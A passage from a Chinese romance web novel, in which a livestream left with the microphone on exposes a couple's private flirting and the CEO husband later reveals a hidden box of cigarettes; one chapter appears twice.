【为什么有人能把西装穿得这么好看!该死的,我投霸总一票,这男人确实有手段。】
【露脸啊,露脸啊!俊男美女,我一个暴舔!】
庄别宴目光淡淡扫过屏幕上那些弹幕,满意地弯了下唇。
而刚才那些磕男大学生CP的人彻底不说话了,尽管庄别宴没有露脸,但他的气场和占有的姿态,已经无声宣告了一切。
曲荷看着满屏对庄别宴禁欲贵气的吹捧,恨不得冲进屏幕摇着大家的肩膀告诉他们。
什么禁欲贵气,都是装的!都是假的!
这个男人私下又狗又流氓!
她恨不得把手机拿下来对着桌子底下被钳住的小腿,让他们看看庄别宴的真实模样。
而自从庄别宴进直播间后,左上角人数直线飙升。
导演组看着后台人数,嘴都要笑裂开了。
这是什么?
是流量!
是金钱!
是财富!
出门不捡都算丢。
泼天的富贵终于轮到他了。
导演组给主持人递了个眼色,示意直播照常进行。
导演组都没说什么,曲荷更不好开口,只能默认他留下。
下半场陪看直播继续。
开始前,主持人介绍了新的陪看嘉宾。
在他说出青年艺术家这个前缀的时候,曲荷眉心就跳了一下。
果不其然,下一秒就看到燕舒连线进来。
屏幕分为五块,顶部分别是她和燕舒的小屏,下面三个还是主持人,唐甜和任丁。
曲荷注意到,燕舒连线进来后,在看到她身后那道身影时,脸上闪过一丝极快的不自然,很快就被她的微笑掩盖过去。
主持人照例先让燕舒和大家打了声招呼。
曲荷趁着间隙偷偷转头,想用眼神警告一下身后那个存在感极
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强的男人。
见她转头,庄别宴眉梢一挑。
他没说话,只是桌下那只原本只是轻轻钳制她脚踝的脚,开始不轻不重带着某种暗示意味地晃了晃。
质感高级的西装裤腿布料摩挲着小腿皮肤,带着细微又磨人的痒意,一股酥麻麻的电流感窜上脊背,曲荷忍不住轻轻瑟缩了下身子。
流氓!
她心里暗骂一句,飞快回头,脸却不受控制漫上绯红。
火眼金睛的观众立刻发现曲荷的变化。
【咦,小情侣干什么呢?脸怎么红了?】
【我受不了了,为什么明明只是转头看了一眼,我却磕生磕死?】
【正经书没看一页,这种东西倒是看得起劲,读书的时候能有这么认真就好了。】
【别人的对象总是令我满意,烦**。】
【多情的手机和无助的我!我说话难听,我先闭眼了。】
网友评论又刷起来了。
但好在燕舒自我介绍完后,陪看直播很快开始,弹幕功能再次被关闭。
期间庄别宴出去了趟,再回来时,手里多了个骨碟,上面摆的是是被切好的桃子。
他把桃子放在桌角,又把椅子往边上挪了下,离曲荷更近了些,这个距离把他的下颌也暴露了镜头下面。
曲荷看着那盘桃子,微微一愣,这还是早上她无意间念叨的一句想吃桃子,他就记下了?
庄别宴的视线一直在她身上,看她在短短几分钟内眼神瞥了好几次桃子,了然于心。
他拿起旁边的小银叉,选了块最中间的桃肉递给她。
他手指故意勾了下她的小指,示意她接过去。
但顾忌着在直播,曲荷忍着诱惑没有接过,甚至面色疏离没有看他一眼。
庄别宴眯了下眼,对她的拒绝很不满意。
他手腕一转,把那块桃子送到了自己嘴里。
“咔嚓。”
清脆的咀嚼声在耳边响起,格外清晰。
居然吃的还是她最喜欢吃的脆桃。
狗男人!
该死!
一看就是故意在诱惑她。
他像是故意的还玩上瘾了,吃了一块还不够,又接连吃了好几块,每一口都咬得清脆作响。
曲荷气不过,暗自磨牙。
她索性侧过半个身,用后背对着他,借此表达无声的**,却没看到身后人眼里更深的笑意。
第127章 救命!麦克风没关?
下半期节目正是燕舒来的那天内容,节目组把**粉丝那段剪辑替换了,结尾停留在大合影那里。
一期节目陪看结束,结尾照例是主持人采访环节。
这次先采访的燕舒,问题都是围绕专业的艺术创作领域,并为她不久后的画展做了宣传。
整个过程都没有提到任何引发联想的话题,连节目里庄别宴受伤的事情都没提。
可尽管如此,曲荷心里却泛起了隐隐的不安,尤其是在最后大家互相道别的时候,燕舒透过屏幕看过来的那一眼,复杂难辨,仿佛在酝酿着什么。
但她没有细想,只觉得或许是自己太小题大做了。
大家互相道别后就陆续退出了连线,曲荷是最后一个。
看着手机屏幕黑了,她以为这就是结束下播的意思,把手机拿下来后反扣在桌上,就没再管它。
她满脑子都是准备质问庄别宴,根本没注意到手机顶部还在闪烁的小白点指示灯。
这是麦克风在闪烁的标志,摄像头虽然关了,但声音却全都收进去了。
看到屏幕一黑,原本正打算退出的观众发现自己还能发弹幕,纷纷察觉到不对。
【咋回事?还没下播吗?怎么黑屏了还能发弹幕?】
【为啥看不到画面?我擦?这是...忘记关麦克风了?】
【我有个不成熟的猜想,完蛋了,我们要听到小情侣的悄悄话了。(搬好小板凳)】
【太不好意思了,太不好意思了。我已经准备了!(竖起耳朵)】
曲荷把手机放到边上,转头瞪向旁边的男人,兴师问罪,“你怎么进来的?钥匙不是在我这里吗?”
她指了指桌上那把他刚才亲手交过来的钥匙,单手叉腰质问。
庄别宴看着她气鼓鼓的样子,低笑了一声,把叉着桃子的叉子塞到她手上,“先吃桃子。”
“你烦**,我刚才在直播诶。”曲荷咬了下牙,把手里的桃子当做庄别宴恶狠狠咬了口。
她含糊不清抱怨,撩起裙子指着腿上那片红印,“你看看!这里!这块红的,都是你刚才留下的。”
她越说越气。
见她一块桃子吃完,庄别宴又给她续上下一块,敷衍似的道歉,“嗯,我错了。”
一点都不诚心。
那态度分明就是“我知道错了,但我下次还敢。”
曲荷一桩桩数着他今晚的罪证,“你故意进来坐我后面,故意吃桃子诱惑我,你还.....”
到后面说得嘴巴都干了。
庄别宴把水杯递过到她嘴边,看着她喝了两口缓过来后继续控诉,“我都说了不要进来,你就是故意的。”
“嗯。”他一本正经地承认了。
曲荷被他这坦荡的态度噎住了,气呼呼蹬着他。
庄别宴俯身靠近,目光灼灼盯着她,重复她直播间里的撩人名言:“阿荷,小狗耳朵怎么比的?能不能也和我对视十秒?也可以对我的心口射一箭吗?”
“你....你...”
曲荷手指着他,脸颊爆红,一句完整的话都说不出来。
所以刚才他真的在外面看她的直播。
庄别宴得寸进尺逼近,手撑在椅子扶手上,把她圈在书桌和怀抱之间,无处可逃。
他握住她的手,把她搂紧贴向自己,低声问:“有闻到吗?”
曲荷懵懵的,“什么?”
“醋味。”他声音低沉,带着毫不掩饰的控诉,“一整晚,快酸**。”
曲荷没好气推了他一把,心跳快得不像话。
庄别宴看着她红透的脸,想到刚才在书房外看她的直播时,满屏的“老婆”,“结婚”,看她对着网友比心说情话,醋意翻江倒海。
恨不得当场就冲进去把直播关了。
尤其她明明听出他摔杯子的意图,还故意调侃他。
直到那个叫任丁的男生在陪看直播时露出的羞涩表情,他再也忍不下去了。
小心眼又怎么样?
老婆都要没了!
他直接找到了书房的备用钥匙,登堂**,宣誓**。
曲荷没想到他这么直接承认自己吃醋了,嘟囔:“那不是直播效果吗!”
“效果?”庄别宴眸色深沉,不依不饶,非要讨个说法。
“那阿荷为什么不对我做?是忘了怎么比心?还是忘了怎么往这里射箭?”
他指尖暧昧地在她掌心画圈,引导她的手按在自己左胸口,隔着衬衫布料,曲荷清晰感受到了他有力的心跳。
滚烫,炽
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热。
那些话从网友口中说出,和从他口中说出,效果完全不一样。
强烈的羞耻感席卷而来。
她感觉自己好像有那,母语羞耻症!
恨不得找个地缝钻进去。
“你不要说了!”
“为什么不说?”
庄别宴单手摘下眼镜,随意扔到一边。
仅仅只是摘个眼镜这个简单的动作,由他做来却莫名带上了几分危险的侵略性,好像摘下的不是眼镜,而是解开了某种斯文的束缚和克制。
他大手一捞,轻易便圈着她的腰把人从椅子上带起,带到了自己怀里,让她坐在了自己腿上。
这个姿势让两人贴得更近。
庄别宴眸色更深了些,低头凑到她耳边,用只有两人能听到的气音含笑低语:“阿荷说过,不要就是要,所以....”
话音未落,突兀的手机铃声突然响起,打破了这旖旎升温的氛围。
桌上的手机还在不停震动。
“你...我先接个电话。”曲荷推了他肩膀一下。
庄别宴没有松手,圈在她腰间的手反而更紧了些。
似乎在宣告他的不满。
手机铃声固执响着,曲荷无奈,只好就着他怀抱原地转了个圈,上半身努力向前倾去,伸出手去够桌上的手机。
这个动作下,曲荷的腰线完全落在身后人眼里。
庄别宴眸色一沉,箍在腰间的手下意识又收紧了几分,指节因用力开始泛白,那力道带着种近乎失控的占有欲,却又透着小心翼翼的保护姿态。
空气中弥漫着的桃子清甜香气,此刻却好像混合了一种更危险的欲望味道。
丝丝缕缕,萦绕鼻尖。
曲荷终于够到了手机,还没来得及看清来电显示,身体就被身后的一股力道带回,重新坐在了他大腿上。
几乎是同时,手机铃声因长时间无人接听自动停下。
曲荷喘了口气,心跳依旧飞快,低头看手机屏幕。
可手机上并不是想象中的锁屏界面。
屏幕还停留在直播界面,最顶端,一个极小不易察觉的白色圆点,在持续闪烁着。
这是...
直播间的麦克风权限图标!
它...为什么还亮着?
第128章 我吃醋了,你哄哄我
曲荷死死盯着手机顶部那个还在闪烁的白色麦克风图标,大脑一片空白。
而此时,直播间里的观众都炸锅了,弹幕刷的飞快:
【啊啊啊啊啊,小情侣私下都是这样的吗?】
【所以庄总就是吃醋了,就是吃醋了!他们这是还没发现直播没关吧。】
【天呐,这还是那个温润如玉的庄家玉树吗?这阴暗占有欲爆棚的样子....好有反差感!】
【我好奇**!我好奇**!曲荷刚才说的红的,是哪里红了?为什么会红?庄别宴什么时候留下的?求求了,孩子快好奇疯了。】
【为什么没声音了?继续啊!接着奏乐,接着舞啊!】
【是不是发现了?不要啊!我还没听够!】
看着屏幕上不断飘动的弹幕。
曲荷只觉得每个字都化成了针,扎得她耳膜嗡嗡作响。
所以刚才她和庄别宴说的那些话全都一字不落被收进去了?
一股前所未有的羞耻和恐慌当头一棒砸了下来,她整个人都懵了,瞬间僵在原地。
身后,庄别宴察觉到怀里人的异常,下巴抵在她颈窝亲昵蹭了蹭,声音低沉:“阿荷...”
曲荷猛地回神,欲哭无泪,整个人都不好了。
她回头看他,声音都是慌的:“怎么办啊庄别宴,直播好像没关,麦克风...麦克风还开着。”
庄别宴还没理解她的意思,但看她逐渐失去血色的脸,明白了事情严重性。
从她手里拿过手机,瞥了眼上面飘动的弹幕,脸色也沉了下来。
他没有丝毫犹豫,在左上角点了下退出并关闭了直播,并反复检查了好几遍确定已经完全退出关闭。
屏幕返回主界面,顶部弹出一条条来自司月的微信消息:
【学姐!你直播还没关!麦克风还开着!】
【快接电话啊!急死我了!】
下一秒,司月的电话又打进来了。
庄别宴右滑接通。
司月焦急的声音透过听筒传了出来,“学姐学姐,你终于接电话了,你直播没关...”
庄别宴声音沉着:“已经关了。”
电话那头司月明显愣了下,“啊..庄总?学姐她没事吧...”
庄别宴看了眼旁边几乎就要把自己缩成一团,捂着脸无地自容的人,缓缓道:“她没事,多谢你及时提醒。”
说完他就结束了通话,用自己手机给谭聪发了条消息让他处理网上相关讨论。
做完这一切,他把手机放回桌上,安抚的拍了拍曲荷的手。
曲荷只要想到他们刚才那些话都被网友听到了,感觉没脸见人了。
“怎么办啊,他们都听到了。”
她的声音都在发颤,整个人都到了崩溃边缘。
“我完全想不起来刚才说了什么,我们刚才有没有说什么过分的话?我们这样会不会被网暴啊?”
曲荷话里都带上了哭腔,眼眶也红了起来,好像已经看到了网上那些**。
“没事,别怕阿荷,已经关了。”
庄别宴扶住她的肩膀,托住她的脸温柔地擦掉眼角的湿润,迫使她和自己对视。
他的目光沉静有力,带着令人安心的力量。
他又重复了一遍刚才的话,“我已经叫人去解决了,相信我,不会有事。”
“真的吗?可是...刚才我们说的话他们都听到了啊。”
“听到就听到,没什么大不了的。”
“怎么会没什么大不了!”曲荷抓着他的手腕,“你确定刚才我们没说什么过分的话吧。”
庄别宴搂着她,打断她的恐慌,声音坚定,“放心,每一句都很正常,也没有过分的话。”
说着,他突然扬起了笑意,“阿荷,难道我们恩爱,是什么见不得人的事情吗?他们知道了更好!”
他低下头,额头轻轻低着她,语气认真。
曲荷又羞又急,“好什么好。”
“好让所有人知道,庄别宴今晚在吃醋,而且醋劲很大。”
他压低声音,带着得意和占有欲,“这样,就没人敢打你主意了,还有网上那些喊你老婆的,是不是也会收敛一点了?嗯?”
曲荷被他这一番歪门邪说却又带着逻辑的话给神奇地说服了。
“你这是什么邪门道理。”
“我的道理。”庄别宴见她情绪缓过来了,稍稍退开些。
曲荷看着他镇定的样子,心里的慌乱也被抚平了大半。
庄别宴看着她这副可怜的样子,心底软成一片,忍不住想逗她。
“比起这个,倒是有另外一件事需要操心了。”
曲荷刚放下的心又高高悬起,“什么事?”
庄别宴故作委屈:“阿荷,现在几万网友都知道我在吃醋了,你是不是该负负责,哄哄我?”
曲荷听着他话里的委屈,破涕为笑,没好气锤了他一下:“你烦**,下次真的不能再这样了。”
“好。”庄别宴应着,重新把她揽入怀里,“都听你的
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。”
夜色如墨。
麦克风直播事故让曲荷心惊胆战一整晚。
庄别宴处理得非常果断利落,所有相关视频和录音片段都被清除,与之相关的热搜词条也迅速消失。
原本登上热搜榜的相关词条也迅速被撤下。
本还在担心直播间里的粉丝会不会宣传出去,但他们大多是两人CP粉,知道这场意外并不是喜闻乐见的事情,大家都非常默契圈地自萌,关起门来私下磕糖。
曲荷心里明白,为了把这条热搜压下去,庄别宴必定费了不少财力心力,一想到那些真金白银就忍不住肉疼。
曲荷暗下决心,下次如果还要直播,一定要连带着手机也关机。
短短几个小时,经历了情绪大起大落,疲惫战胜了不安,洗完澡躺上床后她立刻沉沉睡去。
而谁都没有注意到,在大家都沉入梦乡的后半夜,几条带着争议的微博热搜横空出现,并以惊人的速度爬到了热搜榜前十。
【燕舒直播背景油画暗藏玄机】
【庄别宴领带上的燕子纹饰】
【Z先生,庄先生】
夜半。
主卧里传出浅浅的呼吸声。
蓦的,床头灯突然亮起,在黑夜里晕开一片昏黄,映出庄别宴轮廓深邃的侧脸。
他侧头看了眼旁边正在熟睡的曲荷,确认她没有被打扰惊醒,才放慢动作掀开被子下床。
他缓步走向房门,轻轻压下门把开了条缝隙,回头又望了眼床上的人,敛下情绪侧身闪出,又把门慢慢合拢。
客厅漆黑如墨,他径直穿过推开阳台门,地面被投下一道瘦长的影子。
更深露重,寒气卷着冷意浸入睡衣,可庄别宴却毫无察觉。
他拿出震动了好一会儿的手机,上面一连串都是谭聪发来的消息。
谭聪为人最有分寸,能在这个点发来消息,想必是非常紧急重要的事。
【庄总,您让我一直关注微博热搜异常消息,这几条热搜是后半夜突然被水军顶起来的,势头很猛,极不自然。】
【现在网友都在疯狂对比燕舒直播背景里那副油画和您领带上的刺绣暗纹。】
【公司营销宣传已经就位,压热搜的方案已经备好吗,已经在联系平台撤热搜。】
【庄总,平台反馈这几条热搜讨论度过高,需要时间,您看是否需要启动最高级预案,彻底屏蔽所有相关关键词?】
庄别宴点开谭聪发过来的几张截图,眉头越锁越深。
第130章 庄别宴的另一面暴露
夜色包裹着整个北城。
阳台的推拉门敞开着,夜风裹着凉气悄无声息潜入,纱帘微动,在地板上投下晃动模糊的影子。
庄别宴僵在原地,唯有心脏在胸腔狂跳,几乎要跳出肋骨。
客厅通往卧室的阴影里,曲荷穿着丝质吊带睡裙站在那里,纤细的身影几乎要融进夜里,就像一抹随时会消散的月光。
她一动不动站在那里。
那双平时总会带着笑意和娇嗔的眼睛,在黑暗中一眨不眨看着他,看不清情绪,却又似乎能把人吸进去。
今晚所有的不安,躁动在这一刻全化为了汹涌的恐慌,达到了顶峰。
她是什么时候站在那里的?
她听到了多少?
是在他和燕舒打电话的时候?
还是更早?
无数个问题化作绵针刺向太阳穴,思绪乱成一团,几乎无法思考。
曲荷一步步从阴影里走出来,月色洒落在她身上,照亮了她带着惺忪睡衣的脸庞。
“你...”
“你....”
两人同时开口,又同时顿住。
庄别宴一个大步上前,拉住她的手包进掌心,拇指轻轻蹭着她的指节,话里带着几分颤抖:“怎么起来了?”
他问得小心翼翼。
曲荷睫毛颤了颤,带着没睡醒的懵。
她刚才做梦,梦到了直播时燕舒朝她看过来的那一眼。
然后画面一转,她被一群黑色燕子包围,燕子翅膀扑棱擦过她的脸,吓得她顿时毛骨悚然,猛的惊醒。
身体出于本能手摸向旁边,却是一片冰凉。
她迷迷糊糊摸黑下床,循着阳台的动静就找过来了。
“翻了个身看到你不在。”
她脑袋还是懵懵的,带着睡意靠进庄别宴怀里。
曲荷在他微凉的睡衣上依赖蹭了蹭,声音黏糊糊的:“你怎么突然起来了?来阳台吹风啊?”
庄别宴喉结动了动,含糊唔了声。
手臂环住她,心下稍安。
他却还是忍不住追问:“...什么时候出来的?”
曲荷察觉到他话里有些不寻常的紧张,抬头睡眼朦胧打量他,“你好像有点紧张啊庄先生?怎么,背着我在偷偷做什么坏事吗?”
她捏着庄别宴的下巴左右晃了晃,又踮起脚和他眼睛平视。
庄别宴看着她近在咫尺的眼眸,纯净温柔。
他心里那点阴暗算计和刚才电话里的冷硬瞬间消散。
他轻轻笑了一声,下巴蹭着她的发顶,“是,想做坏事,没做成。”
“哦。”曲荷眨了眨眼,“难怪这么鬼鬼祟祟的。说来听听,想做什么坏事?我看看能不能批准一下。”
庄别宴带着她往里走,反手关上一半阳台门,隔绝了一半凉风。
“阿荷,有件事,我一直没告诉你。”
似乎是纠结了很久,一番天人交战后,他叹了口气。
他语气里的郑重驱散曲荷大部分的睡衣。
看着他难得流露出的纠结和犹豫,又想到他大半夜独自待在阳台的异常,好奇心被勾了起来。
庄别宴把她带到客厅沙发坐下,又按了吊灯开关。
暖黄的灯漫开,照亮了沙发和茶几旁的花瓶。
花瓶里的粉荔枝开得正好,花瓣层层叠叠,还沾着未干的水珠。
庄别宴转身去了后面的储物柜,拉开抽屉,在碰到里头的棕色盒子时,手顿在半空。
但最后他还是拿着盒子走了回来,放在茶几上,推到她面前,“打开看看。”
曲荷拿起盒子摇了摇,里面传来金属碰撞的声音。
她打开盖子,里面放着几盒未开封的卡比龙香烟和一个银色的卡地亚打火机。
曲荷拿起烟盒看了看,又看向庄别宴,很不理解,“所以你大半夜出来,就是想抽烟?”
庄别宴没做声,只是看着她。
曲荷却以为自己猜对了。
她不免有些好笑,还有些难以置信,“没想到人前完美无瑕,自律不烟不酒的庄大总裁,居然也会有半夜偷偷出来抽烟的时候?”
庄别宴无奈一笑,从她手里接过烟放回盒子里关上,“没有抽。”
他低声,话里带着几分复杂。
曲荷轻轻撞了下他肩膀,追问,“你这有什么好躲我的?难道我还会因为这个笑话你?”
庄别宴转头,认真看着她,琥珀色的双眸在暖灯下显得格外深邃专注,“因为你不喜欢抽烟的男人。”
曲荷愣了下,“啊?”
她讨厌烟味,是很久以前的事情了。
小时候连鞠萍和曲家封忙着学校上课,把她放在渔家渡外公外婆家。
但老人家忙着地里和陶瓷厂的事,又把她托给村里退休的老奶奶代托管。
老奶奶丈夫是个老烟枪,每天抱着劣质烟坐在门口抽,她在旁边玩,硬生生吸了大半年二手烟,后来咳嗽感冒,把家里人心疼得不行,再也不让她去了。
自那后,曲荷一闻到烟味就恶心,曲家封也因此戒了烟。
而和钱昭野在一起那几年,刚开始他也会顾忌着不在他面前抽烟,可后来....只能说人心易变吧。
曲荷看着面前的男人,心底最柔软的地方被轻轻戳了下,麻麻的。
“我好像,没跟你说过...”
“听爸提过一嘴。”
曲荷问,“那我之前也没见你抽过烟啊?”
庄别宴移开眼,看着那个盒子,声音有些飘忽,“是不抽,一共,也就抽过两次。”
“那为什么今晚想抽了?”
“因为.....”他愣了下,似乎原本想说什么,但又临时改口。
他回头看她,故意蹙眉,用着控诉委屈的语气掩饰,“因为今晚吃了太多醋,心里酸得不行。”
曲荷咦了声,故意搓了搓手臂,“咦,庄别宴,你好肉麻。”
庄别宴低低笑了两声,胸腔震动,笑声把凝滞的夜色吹散了些,连带着心头的阴霾也淡了。
他拿过盒
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子敲了两下,神情又变得非常郑重:“阿荷,我把这个给你看,是想告诉你,庄别宴或许并不像外界传的那样完美无缺。他会吃醋,会生气,会喝酒抽烟,甚至....”
他顿了顿,后面的话没有说出口,但曲荷却从他的眼神里读懂了更深的东西。
是他从来没有表现出来的另一面。
或许是阴暗的。
是不怎么光明磊落的。
“所以呢?”曲荷凑近他,看着他的眼睛。
她伸手轻轻戳了戳他紧绷的脸,一脸好奇地看着他调侃:“庄别宴,你居然还会有这样不自信的时候?”
庄别宴握住她捣乱的手,“在你这里,我一直都不那么自信。”
他扣着她的手,手指微微用力,“这样的我,你还会和以前一样喜欢吗?”
曲荷看着他眼里的紧张,突然想逗逗他。
她故意撇了下嘴,没直接回答她的问题。
抽回手,起身甩了两下空气,“困了,我要睡觉了。”
庄别宴心沉了沉,一把拉住她的手,想得到一个答案。
曲荷故意逗他似的,回头看了他一眼,眼里藏着笑,却没说话。
她任凭他拉着手,自顾自往卧室走。
庄别宴怕她走得急摔着,只好顺着她跟在后面。
只有他知道,刚才的话都是认真的。
在她面前,他的所有冷静自持,运筹帷幄总是会轻易被击碎。
在她面前,一切伪装都会消失,留下的只有最原始的渴望。
卧室门从里被关上。
庄别宴俯身把曲荷抵在门板上。
他没碰她的唇,只是鼻尖蹭着她的鼻尖,呼吸里带着淡淡的雪松味,“阿荷,告诉我。”
曲荷踮起脚,凑了上去,心底的答案宣之于口,“我喜欢的,从来不是外界传的庄家玉树。”
她手指划过他的手腕慢慢往上,停在他的领口扯了扯,“我喜欢的,是会紧张,会吃醋,会躲着我藏烟盒,还会怕我不喜欢他的...庄别宴。”
窗外的月光漏进来了些,落在她的睫毛上。
庄别宴看着眼前人,声音哑得厉害,“真的?”
曲荷突然笑了,在他唇上轻轻啄了下,“你猜。”
庄别宴的呼吸乱了。
他扣住她的腰,贴着她的耳朵,“我不猜。我要听你再说一遍。”
月光在地板上投下朦胧光晕。
茶几上的盒子沉默地诉说着某些未被言明的秘密。
夜风从没被关严实的阳台门吹了进来,直接撞在了花瓶上,瓶身轻轻晃动,里面的粉荔枝花瓣被吹得摇摇欲坠。
这次的风力道更大了些,花瓣剧烈颤抖,最外围绽放的花瓣再也支撑不住,脱离花萼。
先是一片,再是两片,最后好几片花瓣打着旋落到了地板上,微微蜷缩起来。
月光轻斜,照亮了一地的粉色碎糖。
夜风还在吹,花瓣又落了几瓣,而卧室里的呼吸,早已纠缠得难舍难分。
第130章 庄别宴的另一面暴露
夜色包裹着整个北城。
阳台的推拉门敞开着,夜风裹着凉气悄无声息潜入,纱帘微动,在地板上投下晃动模糊的影子。
庄别宴僵在原地,唯有心脏在胸腔狂跳,几乎要跳出肋骨。
客厅通往卧室的阴影里,曲荷穿着丝质吊带睡裙站在那里,纤细的身影几乎要融进夜里,就像一抹随时会消散的月光。
她一动不动站在那里。
那双平时总会带着笑意和娇嗔的眼睛,在黑暗中一眨不眨看着他,看不清情绪,却又似乎能把人吸进去。
今晚所有的不安,躁动在这一刻全化为了汹涌的恐慌,达到了顶峰。
她是什么时候站在那里的?
她听到了多少?
是在他和燕舒打电话的时候?
还是更早?
无数个问题化作绵针刺向太阳穴,思绪乱成一团,几乎无法思考。
曲荷一步步从阴影里走出来,月色洒落在她身上,照亮了她带着惺忪睡衣的脸庞。
“你...”
“你....”
两人同时开口,又同时顿住。
庄别宴一个大步上前,拉住她的手包进掌心,拇指轻轻蹭着她的指节,话里带着几分颤抖:“怎么起来了?”
他问得小心翼翼。
曲荷睫毛颤了颤,带着没睡醒的懵。
她刚才做梦,梦到了直播时燕舒朝她看过来的那一眼。
然后画面一转,她被一群黑色燕子包围,燕子翅膀扑棱擦过她的脸,吓得她顿时毛骨悚然,猛的惊醒。
身体出于本能手摸向旁边,却是一片冰凉。
她迷迷糊糊摸黑下床,循着阳台的动静就找过来了。
“翻了个身看到你不在。”
她脑袋还是懵懵的,带着睡意靠进庄别宴怀里。
曲荷在他微凉的睡衣上依赖蹭了蹭,声音黏糊糊的:“你怎么突然起来了?来阳台吹风啊?”
庄别宴喉结动了动,含糊唔了声。
手臂环住她,心下稍安。
他却还是忍不住追问:“...什么时候出来的?”
曲荷察觉到他话里有些不寻常的紧张,抬头睡眼朦胧打量他,“你好像有点紧张啊庄先生?怎么,背着我在偷偷做什么坏事吗?”
她捏着庄别宴的下巴左右晃了晃,又踮起脚和他眼睛平视。
庄别宴看着她近在咫尺的眼眸,纯净温柔。
他心里那点阴暗算计和刚才电话里的冷硬瞬间消散。
他轻轻笑了一声,下巴蹭着她的发顶,“是,想做坏事,没做成。”
“哦。”曲荷眨了眨眼,“难怪这么鬼鬼祟祟的。说来听听,想做什么坏事?我看看能不能批准一下。”
庄别宴带着她往里走,反手关上一半阳台门,隔绝了一半凉风。
“阿荷,有件事,我一直没告诉你。”
似乎是纠结了很久,一番天人交战后,他叹了口气。
他语气里的郑重驱散曲荷大部分的睡衣。
看着他难得流露出的纠结和犹豫,又想到他大半夜独自待在阳台的异常,好奇心被勾了起来。
庄别宴把她带到客厅沙发坐下,又按了吊灯开关。
暖黄的灯漫开,照亮了沙发和茶几旁的花瓶。
花瓶里的粉荔枝开得正好,花瓣层层叠叠,还沾着未干的水珠。
庄别宴转身去了后面的储物柜,拉开抽屉,在碰到里头的棕色盒子时,手顿在半空。
但最后他还是拿着盒子走了回来,放在茶几上,推到她面前,“打开看看。”
曲荷拿起盒子摇了摇,里面传来金属碰撞的声音。
她打开盖子,里面放着几盒未开封的卡比龙香烟和一个银色的卡地亚打火机。
曲荷拿起烟盒看了看,又看向庄别宴,很不理解,“所以你大半夜出来,就是想抽烟?”
庄别宴没做声,只是看着她。
曲荷却以为自己猜对了。
她不免有些好笑,还有些难以置信,“没想到人前完美无瑕,自律不烟不酒的庄大总裁,居然也会有半夜偷偷出来抽烟的时候?”
庄别宴无奈一笑,从她手里接过烟放回盒子里关上,“没有抽。”
他低声,话里带着几分复杂。
曲荷轻轻撞了下他肩膀,追问,“你这有什么好躲我的?难道我还会因为这个笑话你?”
庄别宴转头,认真看着她,琥珀色的双眸在暖灯下显得格外深邃专注,“因为你不喜欢抽烟的男人。”
曲荷愣了下,“啊?”
她讨厌烟味,是很久以前的事情了。
小时候连鞠萍和曲家封忙着学校上课,把她放在渔家渡外公外婆家。
但老人家忙着地里和陶瓷厂的事,又把她托给村里退休的老奶奶代托管。
老奶奶丈夫是个老烟枪,每天抱着劣质烟坐在门口抽,她在旁边玩,硬生生吸了大半年二手烟,后来咳嗽感冒,把家里人心疼得不行,再也不让她去了。
自那后,曲荷一闻到烟味就恶心,曲家封也因此戒了烟。
而和钱昭野在一起那几年,刚开始他也会顾忌着不在他面前抽烟,可后来....只能说人心易变吧。
曲荷看着面前的男人,心底最柔软的地方被轻轻戳了下,麻麻的。
“我好像,没跟你说过...”
“听爸提过一嘴。”
曲荷问,“那我之前也没见你抽过烟啊?”
庄别宴移开眼,看着那个盒子,声音有些飘忽,“是不抽,一共,也就抽过两次。”
“那为什么今晚想抽了?”
“因为.....”他愣了下,似乎原本想说什么,但又临时改口。
他回头看她,故意蹙眉,用着控诉委屈的语气掩饰,“因为今晚吃了太多醋,心里酸得不行。”
曲荷咦了声,故意搓了搓手臂,“咦,庄别宴,你好肉麻。”
庄别宴低低笑了两声,胸腔震动,笑声把凝滞的夜色吹散了些,连带着心头的阴霾也淡了。
他拿过盒
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子敲了两下,神情又变得非常郑重:“阿荷,我把这个给你看,是想告诉你,庄别宴或许并不像外界传的那样完美无缺。他会吃醋,会生气,会喝酒抽烟,甚至....”
他顿了顿,后面的话没有说出口,但曲荷却从他的眼神里读懂了更深的东西。
是他从来没有表现出来的另一面。
或许是阴暗的。
是不怎么光明磊落的。
“所以呢?”曲荷凑近他,看着他的眼睛。
她伸手轻轻戳了戳他紧绷的脸,一脸好奇地看着他调侃:“庄别宴,你居然还会有这样不自信的时候?”
庄别宴握住她捣乱的手,“在你这里,我一直都不那么自信。”
他扣着她的手,手指微微用力,“这样的我,你还会和以前一样喜欢吗?”
曲荷看着他眼里的紧张,突然想逗逗他。
她故意撇了下嘴,没直接回答她的问题。
抽回手,起身甩了两下空气,“困了,我要睡觉了。”
庄别宴心沉了沉,一把拉住她的手,想得到一个答案。
曲荷故意逗他似的,回头看了他一眼,眼里藏着笑,却没说话。
她任凭他拉着手,自顾自往卧室走。
庄别宴怕她走得急摔着,只好顺着她跟在后面。
只有他知道,刚才的话都是认真的。
在她面前,他的所有冷静自持,运筹帷幄总是会轻易被击碎。
在她面前,一切伪装都会消失,留下的只有最原始的渴望。
卧室门从里被关上。
庄别宴俯身把曲荷抵在门板上。
他没碰她的唇,只是鼻尖蹭着她的鼻尖,呼吸里带着淡淡的雪松味,“阿荷,告诉我。”
曲荷踮起脚,凑了上去,心底的答案宣之于口,“我喜欢的,从来不是外界传的庄家玉树。”
她手指划过他的手腕慢慢往上,停在他的领口扯了扯,“我喜欢的,是会紧张,会吃醋,会躲着我藏烟盒,还会怕我不喜欢他的...庄别宴。”
窗外的月光漏进来了些,落在她的睫毛上。
庄别宴看着眼前人,声音哑得厉害,“真的?”
曲荷突然笑了,在他唇上轻轻啄了下,“你猜。”
庄别宴的呼吸乱了。
他扣住她的腰,贴着她的耳朵,“我不猜。我要听你再说一遍。”
月光在地板上投下朦胧光晕。
茶几上的盒子沉默地诉说着某些未被言明的秘密。
夜风从没被关严实的阳台门吹了进来,直接撞在了花瓶上,瓶身轻轻晃动,里面的粉荔枝花瓣被吹得摇摇欲坠。
这次的风力道更大了些,花瓣剧烈颤抖,最外围绽放的花瓣再也支撑不住,脱离花萼。
先是一片,再是两片,最后好几片花瓣打着旋落到了地板上,微微蜷缩起来。
月光轻斜,照亮了一地的粉色碎糖。
夜风还在吹,花瓣又落了几瓣,而卧室里的呼吸,早已纠缠得难舍难分。
第131章 不解风情的坏男人
晨光熹微。
阳光透过遮光帘爬进卧室。
曲荷迷迷糊糊间,被旁边的窸窣声吵醒。
她费力睁开眼,朦胧中看到庄别宴似乎拿了个鼓鼓囊囊的袋子离开了卧室,没过一会儿,再进来时,手上已经空了。
她困倦翻了个身,想继续睡觉,后背却贴上了温暖的胸膛。
